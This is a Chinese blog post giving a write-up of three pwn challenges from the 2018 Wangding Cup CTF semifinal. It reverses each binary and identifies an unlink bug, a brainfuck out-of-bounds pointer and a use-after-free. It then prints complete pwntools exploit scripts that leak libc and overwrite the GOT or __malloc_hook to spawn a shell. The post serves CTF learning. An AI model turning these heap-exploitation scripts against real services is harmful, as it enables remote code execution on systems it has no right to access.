美文网首页CTF Re&&Pwnniuren
网鼎杯半决赛 pwn wp

网鼎杯半决赛 pwn wp

作者: zs0zrc | 来源:发表于2018-09-08 00:25 被阅读102次
    • pwn1

      防御机制:

    image.png

    运行了下 ,发现是一个模拟聊天软件的程序,功能一共有 8个

    login : 登陆
    register : 注册
    view profile : 打印出登陆用户的信息
    update profile : 更新用户信息
    add or delete friend : 添加或者删除好友
    send a message to friend : 发信息给好友
    view your message : 将自己收到的信息打印出来
    logout:退出登陆状态
    

    通过ida分析程序,程序一开时就分配了32个chunk用来存储用户的信息

      for ( i = 0; i <= 31; ++i )
      {
        v1 = malloc(0x128uLL);
        result = i;
        *(&user + i) = v1;
      }
      idx = -1;/*登陆的标志位*/
    
    • register 函数

      int register()
      {
        char *v0; // rax
        void **v1; // rbx
        __int64 v2; // rbx
        signed int i; // [rsp+8h] [rbp-18h]
        int size; // [rsp+Ch] [rbp-14h]
      
        for ( i = 0; i <= 31 && LODWORD((*(&user + i))->flags); ++i )
          ;
        if ( i == 32 )
          puts("Sorry, the app is still in beta version....");
        LODWORD((*(&user + i))->flags) = 1;
        printf("Input your name size:");
        size = read_int();
        if ( size <= 4096 )
        {
          v1 = *(&user + i);
          *v1 = malloc(size);
          printf("Input your name:");
          read(0, (*(&user + i))->name, size);        // leak heap address
          printf("Input your age:");
          (*(&user + i))->age = read_int();
          (*(&user + i))->friend = 0LL;
          if ( (*(&user + i))->age > 17 )
          {
            printf("Input your description:");
            read(0, (*(&user + i))->description, 0x100uLL);// leak info ?
            v2 = *(&user + i);
            *(v2 + 0x110) = malloc(0x18uLL);
            v0 = (*(&user + i))->message;
            *(v0 + 2) = 0LL;
          }
          else
          {
            LODWORD(v0) = puts("Oh sorry. U are too young to use this app!");
          }
        }
        else
        {
          LODWORD(v0) = puts("Too big!");
        }
        return v0;
      }
      

      我将users的结构给逆出来了

      users结构体

      struct users{
          char *name;
          long age;
          char description[256];
          char *message;
          char *friends;
          long flags;
      }
      

      在register函数中,读取description时使用read函数,读取完后没加0进行截断,所以存在信息泄露

    • view profile

      打印出用户的信息,在这里存在信息泄露

      int __fastcall view_profile(int a1)
      {
        printf("Username:%s\n", (*(&user + a1))->name);
        printf("Age:%lx\n", (*(&user + a1))->age);
        return printf("Description:%s\n", (*(&user + a1))->description);// leak info
      }
      
    • add or delete friend

      这里实现了添加和删除好友的功能,但是在删除好友时,会将存储好友注册信息的chunkfree掉,所以通过这个可以free掉用户

          if ( v5 )
          {
            ptr = (*(&user + idx))->friend;
            if ( ptr[35] )
            {
              while ( strcmp(*ptr[35], s1) )
                ptr = ptr[35];
              ptr[35] = v5[35];
              free(v5);
            }
            else
            {
              (*(&user + idx))->friend = 0LL;
              free(ptr);
            }
          }
      

      如果添加两个好友a,b,然后依次删除他们,那么存储他们信息的chunk就会被free掉并且进行unlink,如果这时再注册一个用户,用户的name大小为0x140,那么这个name需要的内存就会从之前unlink合并后的chunk中切割出来,这样就可以控制用户b的name字段,通过将用户b的name字段修改为got表中的地址,再同通过update 功能来修改name,就可以修改got表的内容

    • 具体思路:

      先新建3个用户分别为 'aaaa','bbbb','cccc' 
      register(16,'aaaa',18,'a'*0x100)
      register(16,'bbbb',18,'b'*8)
      register(16,'cccc',18,'b'*8)
      然后login('aaaa'),通过view profile功能泄露出heap地址
      通过 add and delete功能 依次添加好友 'bbbb'和'cccc' 然后 再删除他们,那么存储他们信息的chunk就会被free掉并且unlink合并在一起,原先存储用户'bbbb'信息的chunk就会包含 unsorted bin的地址,它的name字段会被修改为 main_arena + 88
      退出'aaaa'用户,然后再login(top_chunk_add) /*这个实际上是登陆原先的'bbbb'用户,但是'bbbb'用户的name字段被修改为了unsorted bin的地址,而这个地址上存储着 top_chunk的地址,所以登陆的用户名要用 top_chunk的地址,这个地址可以通过前面泄露的heap地址计算出来*/
      登陆上后就可以通过view profile功能泄露出libc地址
      创建一个新用户
      register(0x140,p64(heap)*2 + 'a'*0x120 + p64(elf.got['atoi'])*2,20,'66666')
      原先'cccc'用户的name字段就被修改为 atoi在got表中的位置
      通过 login(libc_base + atoi_offset)登陆
      然后利用update功能修改atoi的got表内容为 system函数
      

    exp:

    #!/usr/bin/env python
    from pwn import *
    local = 1
    
    if local:
        p = process('./pwn1')
        elf = ELF('./pwn1')
        libc = elf.libc
    else:
        host = ''
        port = ''
        p = remote(host,port)
        elf = ELF('./pwn1')
        #libc = ELF('./')
    
    context.arch = elf.arch
    #context.terminal = ['tmux', 'splitw', '-h']
    context.log_level='debug'
    
    def sd(content):
        p.send(content)
    
    def sl(content):
        p.sendline(content)
    
    def rc():
        return p.recv()
    
    def ru(content):
        return p.recvuntil(content)
    
    def register(size,name,age,des):
        ru('Your choice:')
        sl('2')
        rc()
        sl(str(size))
        rc()
        sd(name)
        rc()
        sl(str(age))
        rc()
        sd(des)
    
    def login(name):
        ru('Your choice:')
        sl('1')
        rc()
        sd(name)
    
    def view():
        ru('Your choice:')
        sl('1')
    
    def update(name,age,des):
        ru('Your choice:')
        sl('2')
        ru('Input your name:')
        sd(name)
        ru(":")
        sl(str(age))
        ru(":")
        sd(des)
    
    def add(name):
        ru(":")
        sl('3')
        ru(":")
        sd(name)
        ru('friend?(a/d)')
        sl('a')
    
    def delete(name):
        rc()
        sl('3')
        rc()
        sd(name)
        ru('friend?(a/d)')
        sl('d')
    
    def send_msg(name,title,content):
        ru(':')
        sl('4')
        ru('msg to:')
        sl(name)
        ru('title:')
        sd(title)
        ru('content:')
        sd(content)
    
    def view_msg():
        ru(":")
        sl('5')
    
    def logout():
        rc()
        sl('6')
    
    
    register(16,'aaaa',18,'x'*0x100)
    register(16,'bbbb',18,'b'*8)
    register(16,'cccc',18,'b'*8)
    log.info('leak heap address')
    login('aaaa')
    view()
    ru('x'*0x100)
    leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
    log.info("leak_heap address {}".format(hex(leak_heap)))
    top_chunk = leak_heap + 0x90
    log.info("top_chunk address {}".format(hex(top_chunk)))
    
    log.info('leak libc address')
    
    add('bbbb\x00')
    add('cccc\x00')
    delete('cccc\x00')
    delete('bbbb\x00')
    
    logout()
    login(p64(top_chunk))
    
    view()
    ru('Age:')
    libc_base = int('0x' + p.recv(12) , 16) - 0x3c4b78
    log.info('libc_base -->{}'.format(hex(libc_base)))
    system = libc_base + libc.symbols['system']
    atoi_got = elf.got['atoi']
    atoi_add = libc_base + libc.symbols['atoi']
    
    logout()
    register(0x140,p64(leak_heap)*2 + 'a'*0x120 + p64(atoi_got)*2,20,'666666')
    
    login(p64(atoi_add))
    update(p64(system),66,'666666')
    rc()
    sl('/bin/sh\x00')
    
    p.interactive()
    
    • pwn2

      这是一道brainfuck类型的题,之前没有做过类似的,看到后有点不知所措, 当时比赛只想到怎么泄露出libc

      解释下什么是brainfuck吧,就是用> < + - . , [ ]八种符号来替换C语言的各种语法和命令

      详细的可以看下这一篇brainfuck 详解

      具体规则如下:

        > Increment the pointer.
        < Decrement the pointer.
        + Increment the byte at the pointer.
        - Decrement the byte at the pointer.
        . Output the byte at the pointer.
        , Input a byte and store it in the byte at the pointer.
        [ Jump forward past the matching ] if the byte at the pointer is zero.
        ] Jump backward to the matching [ unless the byte at the pointer is zero.
        简单翻译过来就是
        > : ++p;
        < : --p;
        + : ++*p;
        - : --*p;
        . : putchar(*p); #打印一个字符
        , : *p = getchar(); #输入一个字符
        [ : while (*p) {
        ] : }
      

      然后就看题目了

      防护机制:

    image.png

    只开启了NX和Canary

    简单反编译一下

    void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
    {
      char v3; // al
      char v4; // al
    
      sub_400B35((__int64)*a2);
      sub_400B5C();
      printf("Put the code: ", a2);
      readin(read2bss, 0x400u);
      for ( i = 0; ; ++i )
      {
        v1 = read2bss[i];
        if ( !v1 )
          break;
        v2 = 0;
        if ( v1 == '>' )
          ++num1;
        if ( v1 == '<' )
          --num1;
        if ( v1 == '+' )
          ++num2[num1];
        if ( v1 == '-' )
          --num2[num1];
        if ( v1 == '.' )
          _IO_putc(num2[num1], stdout);
        if ( v1 == ',' )
          read(0, &num2[num1], 1uLL);
        while ( v1 == '[' && !num2[num1] )
        {
          if ( read2bss[i] == '[' )
            ++v2;
          if ( read2bss[i] == ']' )
          {
            v3 = v2--;
            if ( v3 == 1 )
              break;
          }
          ++i;
        }
        while ( v1 == ']' && num2[num1] )
        {
          if ( read2bss[i] == ']' )
            ++v2;
          if ( read2bss[i] == '[' )
          {
            v4 = v2--;
            if ( v4 == 1 )
              break;
          }
          --i;
        }
      }
      exit(1);
    }
    

    可以发现当 输入为 '.' 时,会打印出num2[num1]的一个字节的内容,当输入为','时 会往 num2[num1]里写一字节的内容。而 '<' 和 ‘>’ 是用来控制 num的。

    通过查看 bss段的内容,可以发现 stdin,stdout,stderr等结构体,所以可以通过泄露 stdin的地址来泄露出libc地址,stdin结构体是libc中的一个变量,由 IO_2_1_stdin 变量存储 它的地址

    .bss:0000000000602080 stdout          dq ?                    ; DATA XREF: LOAD:0000000000400400↑o
    .bss:0000000000602080                                         ; main+103↑r ...
    .bss:0000000000602080                                         ; Copy of shared data
    .bss:0000000000602088                 align 10h
    .bss:0000000000602090                 public stdin
    .bss:0000000000602090 ; FILE *stdin
    .bss:0000000000602090 stdin           dq ?                    ; DATA XREF: LOAD:0000000000400418↑o
    .bss:0000000000602090                                         ; sub_400B5C+4↑r
    .bss:0000000000602090                                         ; Copy of shared data
    .bss:0000000000602098                 align 20h
    .bss:00000000006020A0                 public stderr
    .bss:00000000006020A0 ; FILE *stderr
    .bss:00000000006020A0 stderr          dq ?                    ; DATA XREF: LOAD:0000000000400430↑o
    .bss:00000000006020A0                                         ; sub_400B5C+40↑r
    .bss:00000000006020A0                                         ; Copy of shared data
    .bss:00000000006020A8 byte_6020A8     db ?                    ; DATA XREF: sub_400810↑r
    .bss:00000000006020A8                                         ; sub_400810+12↑w
    .bss:00000000006020A9                 align 20h
    .bss:00000000006020C0 ; char num2[1024]
    .bss:00000000006020C0 num2            db 400h dup(?)          ; DATA XREF: main+A6↑o
    .bss:00000000006020C0                                         ; main+B9↑o ...
    .bss:00000000006024C0 num1            db ?                    ; DATA XREF: main+63↑r
    .bss:00000000006024C0                                         ; main+6D↑w ...
    .bss:00000000006024C1 i               db ?                    ; DATA XREF: main+45↑w
    .bss:00000000006024C1                                         ; main:loc_4009B0↑r ...
    .bss:00000000006024C2                 align 20h
    

    然后在上方存在着got表,因为没开Full RELRO,所以可以同通过修改got表函数的内容为getshell函数来获取一个shell

    image.png
    1. leak stdin的地址

      stdin = 0x602090
      num2 = 0x6020C0
      offset = num2 - stdin
      
      payload = '<' * offset + '.>.>.>.>.>.>'
      
      sl(payload) 
      leak = u64(rc().ljust(8,'\x00'))
      log.info(hex(leak))
      libc_base = leak - libc.symbols['_IO_2_1_stdin_']
      
    2. 修改 exit_got为 one_gadget
      exp:

      #!/usr/bin/env python
      from pwn import *
      from LibcSearcher import *
      local = 1
      
      if local:
          p = process('./pwn2')
          elf = ELF('./pwn2')
          libc = elf.libc
      else:
          host = '172.16.9.24'
          port = '8888'
          p = remote(host,port)
          elf = ELF('./pwn2')
      
      context.arch = elf.arch
      context.log_level='debug'
      
      def sd(content):
          p.send(content)
      
      def sl(content):
          p.sendline(content)
      
      def rc():
          return p.recv()
      
      def ru(content):
          return p.recvuntil(content)
      
      exit_got = 0x602060
      stdin = 0x602090
      num2 = 0x6020C0
      
      offset1 = num2 - stdin
      offset2 = stdin + 6 - exit_got
      one_gadget_offset = [0xf1147,0xf02a4,0x4526a,0x45216]
      
      payload = '<' * offset1 + '.>.>.>.>.>.>'
      payload += '<' * offset2
      payload += ',>,>,>,>,>,'
      rc()
      sl(payload) 
      leak = u64(rc().ljust(8,'\x00'))
      log.info(hex(leak))
      libc_base = leak - libc.symbols['_IO_2_1_stdin_']
      one_gadget = libc_base + one_gadget_offset[0]
      one_gadget = p64(one_gadget)
      
      for i in range(6):
          sd(one_gadget[i])
          sleep(0.1)
      
      p.interactive()
      
    • pwn3

      防护机制:

    image.png

    防护机制全开....但是听说挺简单的,结果还真的是很简单,是我比赛时想复杂了,不该去看cmd list函数的

    一共有5个功能,menu菜单打印出了4个功能,但是有个一个cmd list的功能没打印出来

    1. Create a character
    2. View characters
    3. Delete characters
    4. Clean all the characters
    5. cmd list
    

    character 结构体

    struct character{
        long flag;
        char *name;
        char type[23];
    }
    
    1. creater a character

      分配一个0x28来存放character结构体,然后输入name的长度,根据输入的大小分配堆块存储name,再读取type,最后将这个chunk的地址存储在一个全局变量数组ptr里。

    2. View characters

     将所有的character的name和 type都打印出来,这里存在信息泄露
    
     ```c
       for ( i = 0; i <= 0x63; ++i )
         {
           if ( ptr[i] && *ptr[i] )
           {
             printf("Name[%u] :%s\n", i, *(ptr[i] + 8LL));
             printf("Type[%u] :%s\n", i, ptr[i] + 16LL);// leak info
           }
         }
     ```
    
    1. Delete characters

      将character 的name的chunk free掉,但是没将指针置为0,所以这里存在UAF漏洞,可以进行fastbins attack

      __int64 delete()
      {
        unsigned int idx; // [rsp+4h] [rbp-Ch]
        unsigned __int64 v2; // [rsp+8h] [rbp-8h]
      
        v2 = __readfsqword(0x28u);
        if ( count )
        {
          printf("Which character do you want to eat:");
          __isoc99_scanf("%d", &idx);
          if ( idx > 0x63 || !ptr[idx] )
          {
            puts("Invalid choice");
            return 0LL;
          }
          srand(0);
          *ptr[idx] = 0;
          free(*(ptr[idx] + 8LL));                    // uaf fastbins attack
        }
        else
        {
          puts("No character");
        }
        return 0LL;
      
    2. Clean all the characters

      将delete掉的character 从全局变量数组中删除,并且free掉存储character结构体的chunk

    3. cmd list

      这个暂时不分析,这里主要是实现了一些 note的分配 ,编辑等操作,我没有用到

    解题思路:
    利用UAF漏洞泄露出libc地址
    然后利用fastbins attack 分配到包含__malloc_hook的chunk,修改__malloc_hook为one_gadget
    最后出发 malloc_printerr来getshell
    

    exp:

    #!/usr/bin/env python
    from pwn import *
    local = 1
    
    if local:
        p = process('./pwn3')
        elf = ELF('./pwn3')
        libc = elf.libc
    else:
        host = ''
        port = ''
        p = remote(host,port)
        elf = ELF('./pwn3')
        #libc = ELF('./')
    
    context.arch = elf.arch
    #context.terminal = ['tmux', 'splitw', '-h']
    context.log_level='debug'
    
    def sd(content):
        p.send(content)
    
    def sl(content):
        p.sendline(content)
    
    def rc():
        return p.recv()
    
    def ru(content):
        return p.recvuntil(content)
    
    def create(size,name,t):
        ru('Your choice : ')
        sl('1')
        ru('Length of the name :')
        sl(str(size))
        ru('The name of character :')
        sd(name)
        ru('The type of the character :')
        sl(t)
    
    def view():
        ru('Your choice : ')
        sl('2')
    
    def delete(idx):
        ru('Your choice : ')
        sl('3')
        rc()
        sl(str(idx))
    
    def clean():
        ru('Your choice : ')
        sl('4')
    
    
    create(0x98,'a'*8,'1234')
    create(0x68,'bbbb','456798')
    create(0x68,'bbbb','456798')
    create(0x28,'bbbb','456798')
    
    delete(0)
    clean()
    create(0x98,'a'*8,'1234')
    view()
    
    ru('a'*8)
    leak = u64(p.recv(6).ljust(8,'\x00'))
    main_arena = leak - 0x58
    libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10 
    log.info("libc_base is {}".format(hex(libc_base)))
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    system = libc_base + libc.symbols['system']
    one_gadget = 0xf02a4 + libc_base
    
    delete(1)
    delete(2)
    delete(1)
    
    create(0x68,p64(malloc_hook - 0x23),'1234')
    create(0x68,'bbbb','456798')
    create(0x68,'bbbb','456798')
    
    create(0x68,'a'*0x13 + p64(one_gadget),'1234')
    
    delete(0)
    delete(0)
    p.interactive()
    
    

    相关文章

      网友评论

      本文标题:网鼎杯半决赛 pwn wp

      本文链接:https://www.haomeiwen.com/subject/azqcgftx.html